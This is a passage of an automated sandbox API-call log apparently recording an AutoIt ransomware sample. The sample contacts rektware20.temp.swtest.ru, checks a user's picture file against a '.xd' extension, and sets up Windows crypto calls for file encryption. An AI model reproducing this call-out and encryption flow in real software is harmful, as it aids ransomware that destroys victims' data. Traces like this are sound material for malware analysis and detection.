wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.726] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.726] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0062.726] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0062.727] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.727] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0062.727] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0062.727] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0062.727] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0062.727] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e38, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e38, lpdwBufferLength=0x130ef8c) returned 1 [0062.727] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0062.727] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0062.727] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0062.728] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0062.728] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0062.728] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0062.728] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629270, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629270*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0062.728] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0062.728] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0062.729] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0062.729] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0062.729] CloseHandle (hObject=0x0) returned 0 [0062.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="oDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GIW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IW7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="W7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="J4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pDjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DjIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jIZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ZM\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SbJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bJ3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="J3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cRadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RadN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="adN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dN.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0062.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.731] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.731] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0062.731] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0062.731] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0062.731] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0062.731] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0062.731] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0062.732] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0062.732] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f10, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f10, lpdwBufferLength=0x130ee1c) returned 1 [0062.732] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0062.732] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0062.732] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0062.733] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0062.733] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0062.733] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0062.733] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0062.734] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293f0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0062.734] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0062.734] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0062.734] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0062.734] CloseHandle (hObject=0x0) returned 0 [0062.734] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.734] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cab0 [0062.734] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0062.734] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.735] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0062.735] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.735] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.735] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0062.735] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.735] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0062.735] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.735] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.735] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0062.735] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.735] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.735] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.735] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.735] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.735] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0062.735] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0062.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0062.736] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0062.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0062.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0062.736] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0062.736] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa2b8) returned 1 [0062.736] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.736] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.736] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0062.736] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.736] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.737] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.737] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.737] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.737] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0062.737] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) 